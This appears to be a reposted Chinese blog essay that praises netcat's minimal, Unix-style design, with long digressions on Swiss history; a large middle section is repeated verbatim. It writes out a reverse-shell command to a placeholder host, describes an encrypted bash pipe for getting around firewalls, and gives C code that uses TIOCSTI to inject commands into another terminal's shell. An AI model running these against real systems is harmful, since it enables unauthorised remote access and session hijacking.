这是一个聒噪的夜晚，如果要给出个原因，可能是因为虽然我觉得西班牙不纯粹，但是怎么也不至于干为人家搭台面自己不唱戏的角色吧..结束以后，我觉得该玩一下素有网络瑞士军刀之称谓的netcat了。虽然瑞士军刀和netcat除了在小而精方面之外并没有必然的联系，但是我还是想扯一通我所了解的瑞士，博客嘛，不是论文，不是测试报告，发散一点没有问题，并且，我觉得将来，跨界将是一个必然的趋势，拥有跨界的能力也是一个必然的优势。
瑞士是一个没有历史的国家，它完全就是1848年的政治妥协的结果，这也说明了为什么即便是纳粹德国也认可它永久中立国的地位，但是并不意味着生活在这片土地的民族没有历史，自凯撒时代以远，这里就生活着自由的民族，罗马化时代，它处在高卢和平氛围之下自我发展，之后它的历史就是一部融合，分离，抗争与中立的历史了，但是不可否认的是，这片土地以及这片土地上的人们在纷乱的中世纪大领主，国王，神罗皇帝，教皇，主教，自治市...之间的激烈混战中存活了下来，并没有变成废墟，直到现在，这里依旧是实际上最富裕的地区之一，看看地图就知道，和比利时，荷兰不同，瑞士处在一个大国的包围圈中，法国，德国，意大利，奥地利四强构成了瑞士的邻国。从它的语言上可以看出来它的历史，德语，法语，意大利语(为什么没有奥地利语呢？因为奥地利大部分人说德语，神罗后遗症)，这种地位正恰恰符合欧洲均势原则，所以瑞士反而可以毫发未损地作为中立国躲过N次浩劫，正是欧洲均势原则，为瑞士这样的国家创造了一个稳定的外部环境，它可以将设计精细化，可以不为外部压力而妥协，瑞士军刀就是在这种环境下打造的，当然，还有手表。但是如果再来点别的什么就更够味儿了。
什么呢？那就是北欧基因。我要是说是北欧基因促成了Linux，你信吗？但不管怎样，北欧基因确实起了作用。北欧人，一个纯粹的海洋民族的后裔，一个和罗马帝国无关的民族的后裔，挣脱了欧洲传统的羁绊，远离了历史遗留的纷争，他们生活在一个童话和神话的世界，驾驭着深不可测的海洋，自由摇摆着灵活和自由以及规则的原始冲动，这也许是海洋民族的最大特质。
瑞士军刀，一个带有北欧基因的超级小工具，符合其外在自洽内部发散的哲学，怎么形容它的优美都不过分，北欧的基因表现型，加上小而精的追求，正是这种特质给瑞士军刀营造了和Linux相同的氛围......当然物尽所用并不意味着它是万能的，你不能指望用它来割断起重机的钢丝绳，也不要幻想它能撬起一辆卡车，事实上，这些功能的缺失却正是瑞士军刀的优美之处，即它不是大而全，而是小而精，有时候，小而精的哲学确实能取胜。评价一个工具的标准并不是它能做什么，而是它能多么简单地做到它声称可以做的事。手里拿着一个瑞士军刀，你可以省去带很多东西，事实上任何小工具都可以内置其中，比如温度计，指南针，剪刀，起子，螺丝刀，U盘，电表，牙签，绕线圈...设计的精妙之处在于，如何把这些东西放在一个有限的空间中，以及如何不被人们误用这些功能，简单的方式就是每个小工具只完美实现一个功能。好吧，这就是瑞士军刀的全部，下面就是netcat了。
netcat，很小很小，并且是真的小，而不是表现的小，它不像Linux内核那样，有人声称它可以被裁减到不到xk，但是你知道这个裁减的人要付出多大的心血吗？如果换一个刚毕业不久辛苦求得一份工作的人来裁减，他可能只是大学期间看过一些代码，那他要加多少班啊。好东西不在于它能被裁到多小，而是在于它真的不能再小了。netcat能小到什么程度呢？实际上它仅仅提供了一个socket IO通道而已，但别看它自带的这么小的功能集合，甚至都不能称之为集合，它却把扩展的范围提升到了你的想象力所及的范围，对于不善于思考的人来讲，它也许只是一个telnet一样的程序，但是对于善于思考的人来讲，它可以构建一个安全的远程shell。你想过用它来构建一个SSL通道吗？
在开始我的探索之前，首先简要概览一下可以从网上搜到的netcat的功能，我这里就不再重复了，它的功能点包括但不限于：探测端口是否开启，端口扫描，远程拷贝文件，远程拷贝目录，加密传输数据，远程执行shell，反向远程shell...为什么如此小的netcat能完成这么多的功能呢？
原因在于，它只提供了最小集，即一个IO通道而已，至于说如何构建数据，那不是它的职责，netcat并不假设数据的任何格式，对数据没有任何约束，这一点和telnet不同，虽然telnet也是一个稍微通用些的TCP测试程序，但是对于数据传输它有很多格式规定和假设，毕竟它最开始就是为远程登录设计的，事实上上述的功能几乎都不是netcat完成的，netcat只是把数据传输到对端而已，仅此而已。这是个创举！试想，到底是谁规定一个远程的telnet 23或者ssh必须是TCP的客户端主动发起连接TCP服务端呢？即到底凭什么sshd要运行在TCP服务端呢？事实上，没有人规定，只是一个远程登录而已，但就是这个实现上的默认行为，导致了很多远程登录无法进行，因为这些远程登录是从外网到内网的，而很多防火墙都不允许从外到内的主动访问。使用netcat可以做到这一点，在内网运行一个netcat客户端，在外网运行netcat服务端，然后让/bin/bash覆盖掉netcat即可，这就是创举所在。我来说下why。
如果你执行一个
netcat -e $pro，那么在连接成功后，你以为netcat会像大多数程序一样调用fork/exec来执行pro吗？很多人都会这么认为，因为这是UNIX传统的标准做法，但是netcat没有这么做，而是直接在当前的netcat进程exec一个pro，这太猛了，当前的netcat就此消失被pro覆盖，那么接下来怎么办？谁来进行主控？事实上，netcat就此就把控制权完全交给了pro，在交接之前，把STDIN，STDOUT，STDERR重定向到自己的socket，仅此而已，netcat留下的就是一个socket IO通道，接下来的pro程序的STDIN，STDOUT，STDERR就是socket了，除此之外，netcat没有留下任何痕迹，在执行
netcat 1.2.3.4 1234 -e /bin/bash的时候，言外之意就好像在执行
/bin/bash socketstdin socketstdout...只可惜UNIX哲学不允许/bin/bash这样的程序和socket有任何关联，那么只好利用另外一个小程序和它组合从而在网络上模拟本地IO了，netcat在-e参数下除了干这个，没有任何毒副作用。如果你不想完全将STDIN，STDOUT，STDERR都重定向，比如你只想重定向STDIN，那么你就可以将|，>，<等符号和netcat组合，比如
netcat -l -p 1234 <./transfile，cat transfile2 |netcat 127.0.0.1 2234等，在这种情况下，netcat本身还在，并没有在-e参数下那样消失，但是它除了做IO之外，什么都不会多做。瑞士军刀般的多样化功能就是这么来的，是的，一切都在于你的想象力，你再也不能说，这个功能或者那个功能netcat没有提供，不能这样说，应该说你自己没有想到它能怎么用。如果让我写netcat的手册，我就写一句话：它提供且仅仅提供一个TCP或者UDP网络通道，它能实现所有使用TCP或者UDP协议的的网络功能。
我想实现一个远程执行命令的机制，不想编程，也不想用ssh，怎么办呢？使用netcat很好办，首先它可以实现一个DH密钥交换，然后加密要传输的数据，然后解密，即兴创建一个shell，执行命令后返回结果，加密返回，这些都不在话下。如果你想远程获得一个加密的shell，就需要做一些工作了，要么你实现一个自环管道，即命令序列的最后一个的标准输出定向到第一个命令的标准输入，即netcat 1.2.3.4 1234|decryto|/bin/bash|encryto@，最后的@意味着encryto的标准输出定向到netcat的标准输入，即socket，如果不想这么做，那就你就用下面的代码序列劫持任何一个已经处在tty上运行的shell然后执行命令后捕获返回值返回：
瑞士是一个没有历史的国家，它完全就是1848年的政治妥协的结果，这也说明了为什么即便是纳粹德国也认可它永久中立国的地位，但是并不意味着生活在这片土地的民族没有历史，自凯撒时代以远，这里就生活着自由的民族，罗马化时代，它处在高卢和平氛围之下自我发展，之后它的历史就是一部融合，分离，抗争与中立的历史了，但是不可否认的是，这片土地以及这片土地上的人们在纷乱的中世纪大领主，国王，神罗皇帝，教皇，主教，自治市...之间的激烈混战中存活了下来，并没有变成废墟，直到现在，这里依旧是实际上最富裕的地区之一，看看地图就知道，和比利时，荷兰不同，瑞士处在一个大国的包围圈中，法国，德国，意大利，奥地利四强构成了瑞士的邻国。从它的语言上可以看出来它的历史，德语，法语，意大利语(为什么没有奥地利语呢？因为奥地利大部分人说德语，神罗后遗症)，这种地位正恰恰符合欧洲均势原则，所以瑞士反而可以毫发未损地作为中立国躲过N次浩劫，正是欧洲均势原则，为瑞士这样的国家创造了一个稳定的外部环境，它可以将设计精细化，可以不为外部压力而妥协，瑞士军刀就是在这种环境下打造的，当然，还有手表。但是如果再来点别的什么就更够味儿了。
什么呢？那就是北欧基因。我要是说是北欧基因促成了Linux，你信吗？但不管怎样，北欧基因确实起了作用。北欧人，一个纯粹的海洋民族的后裔，一个和罗马帝国无关的民族的后裔，挣脱了欧洲传统的羁绊，远离了历史遗留的纷争，他们生活在一个童话和神话的世界，驾驭着深不可测的海洋，自由摇摆着灵活和自由以及规则的原始冲动，这也许是海洋民族的最大特质。
瑞士军刀，一个带有北欧基因的超级小工具，符合其外在自洽内部发散的哲学，怎么形容它的优美都不过分，北欧的基因表现型，加上小而精的追求，正是这种特质给瑞士军刀营造了和Linux相同的氛围......当然物尽所用并不意味着它是万能的，你不能指望用它来割断起重机的钢丝绳，也不要幻想它能撬起一辆卡车，事实上，这些功能的缺失却正是瑞士军刀的优美之处，即它不是大而全，而是小而精，有时候，小而精的哲学确实能取胜。评价一个工具的标准并不是它能做什么，而是它能多么简单地做到它声称可以做的事。手里拿着一个瑞士军刀，你可以省去带很多东西，事实上任何小工具都可以内置其中，比如温度计，指南针，剪刀，起子，螺丝刀，U盘，电表，牙签，绕线圈...设计的精妙之处在于，如何把这些东西放在一个有限的空间中，以及如何不被人们误用这些功能，简单的方式就是每个小工具只完美实现一个功能。好吧，这就是瑞士军刀的全部，下面就是netcat了。
netcat，很小很小，并且是真的小，而不是表现的小，它不像Linux内核那样，有人声称它可以被裁减到不到xk，但是你知道这个裁减的人要付出多大的心血吗？如果换一个刚毕业不久辛苦求得一份工作的人来裁减，他可能只是大学期间看过一些代码，那他要加多少班啊。好东西不在于它能被裁到多小，而是在于它真的不能再小了。netcat能小到什么程度呢？实际上它仅仅提供了一个socket IO通道而已，但别看它自带的这么小的功能集合，甚至都不能称之为集合，它却把扩展的范围提升到了你的想象力所及的范围，对于不善于思考的人来讲，它也许只是一个telnet一样的程序，但是对于善于思考的人来讲，它可以构建一个安全的远程shell。你想过用它来构建一个SSL通道吗？
在开始我的探索之前，首先简要概览一下可以从网上搜到的netcat的功能，我这里就不再重复了，它的功能点包括但不限于：探测端口是否开启，端口扫描，远程拷贝文件，远程拷贝目录，加密传输数据，远程执行shell，反向远程shell...为什么如此小的netcat能完成这么多的功能呢？
原因在于，它只提供了最小集，即一个IO通道而已，至于说如何构建数据，那不是它的职责，netcat并不假设数据的任何格式，对数据没有任何约束，这一点和telnet不同，虽然telnet也是一个稍微通用些的TCP测试程序，但是对于数据传输它有很多格式规定和假设，毕竟它最开始就是为远程登录设计的，事实上上述的功能几乎都不是netcat完成的，netcat只是把数据传输到对端而已，仅此而已。这是个创举！试想，到底是谁规定一个远程的telnet 23或者ssh必须是TCP的客户端主动发起连接TCP服务端呢？即到底凭什么sshd要运行在TCP服务端呢？事实上，没有人规定，只是一个远程登录而已，但就是这个实现上的默认行为，导致了很多远程登录无法进行，因为这些远程登录是从外网到内网的，而很多防火墙都不允许从外到内的主动访问。使用netcat可以做到这一点，在内网运行一个netcat客户端，在外网运行netcat服务端，然后让/bin/bash覆盖掉netcat即可，这就是创举所在。我来说下why。
如果你执行一个
netcat -e $pro，那么在连接成功后，你以为netcat会像大多数程序一样调用fork/exec来执行pro吗？很多人都会这么认为，因为这是UNIX传统的标准做法，但是netcat没有这么做，而是直接在当前的netcat进程exec一个pro，这太猛了，当前的netcat就此消失被pro覆盖，那么接下来怎么办？谁来进行主控？事实上，netcat就此就把控制权完全交给了pro，在交接之前，把STDIN，STDOUT，STDERR重定向到自己的socket，仅此而已，netcat留下的就是一个socket IO通道，接下来的pro程序的STDIN，STDOUT，STDERR就是socket了，除此之外，netcat没有留下任何痕迹，在执行
netcat 1.2.3.4 1234 -e /bin/bash的时候，言外之意就好像在执行
/bin/bash socketstdin socketstdout...只可惜UNIX哲学不允许/bin/bash这样的程序和socket有任何关联，那么只好利用另外一个小程序和它组合从而在网络上模拟本地IO了，netcat在-e参数下除了干这个，没有任何毒副作用。如果你不想完全将STDIN，STDOUT，STDERR都重定向，比如你只想重定向STDIN，那么你就可以将|，>，<等符号和netcat组合，比如
netcat -l -p 1234 <./transfile，cat transfile2 |netcat 127.0.0.1 2234等，在这种情况下，netcat本身还在，并没有在-e参数下那样消失，但是它除了做IO之外，什么都不会多做。瑞士军刀般的多样化功能就是这么来的，是的，一切都在于你的想象力，你再也不能说，这个功能或者那个功能netcat没有提供，不能这样说，应该说你自己没有想到它能怎么用。如果让我写netcat的手册，我就写一句话：它提供且仅仅提供一个TCP或者UDP网络通道，它能实现所有使用TCP或者UDP协议的的网络功能。
我想实现一个远程执行命令的机制，不想编程，也不想用ssh，怎么办呢？使用netcat很好办，首先它可以实现一个DH密钥交换，然后加密要传输的数据，然后解密，即兴创建一个shell，执行命令后返回结果，加密返回，这些都不在话下。如果你想远程获得一个加密的shell，就需要做一些工作了，要么你实现一个自环管道，即命令序列的最后一个的标准输出定向到第一个命令的标准输入，即netcat 1.2.3.4 1234|decryto|/bin/bash|encryto@，最后的@意味着encryto的标准输出定向到netcat的标准输入，即socket，如果不想这么做，那就你就用下面的代码序列劫持任何一个已经处在tty上运行的shell然后执行命令后捕获返回值返回：
int fd = open("/dev/pts/0", O_RDWR);
ioctl(fd, TIOCSTI, "l ");
ioctl(fd, TIOCSTI, "s ");
ioctl(fd, TIOCSTI, "\n ");但是不管你怎么做，千万不要修改netcat，如果你真的想修改它，那还不如自己写一个满足自己需求的呢，因为netcat没什么好改的，你就把它当成下面的程序即可：
socket;
listen
accept //注意，没有多处理机制
loop:
read;
write;
loop;记住，用已有的小工具构建一个大功能是一种艺术，netcat本身不是瑞士军刀，它更像瑞士军刀的刀柄和刀鞘，可以容纳几乎所有的工具，小即是多，关键在包容，大的包容性，自然约束是最少的。netcat完全符合了UNIX的哲学。
在网络编程工具上有没有瑞士军刀呢？我认为有，那就是OpenSSL的BIO机制，它抽象了IO过程，和netcat重定向了IO过程类似。如果说netcat在网络环境模拟了本机环境的话，那么BIO则可以在本机模拟网络环境，就OpenVPN而言，数据是直接写到BIO的，而不是直接写到socket的，这个和netcat的过程恰恰相反，在没有网络的环境下，想要调试网络程序，那么BIO就是利器了。
早上六点多，西班牙已经输了一段时间，我本不是狂热的球迷，就是跟下风而已，据说明天的意大利VS英格兰会很精彩。
原文链接: https://blog.csdn.net/dog250/article/details/30724879
欢迎关注
微信关注下方公众号，第一时间获取干货硬货；公众号内回复【pdf】免费获取数百本计算机经典书籍;
也有高质量的技术群，里面有嵌入式、搜广推等BAT大佬
原创文章受到原创版权保护。转载请注明出处：https://www.ccppcoding.com/archives/408605
非原创文章文中已经注明原地址，如有侵权，联系删除
关注公众号【高性能架构探索】，第一时间获取最新文章
转载文章受原作者版权保护。转载请注明原作者出处！
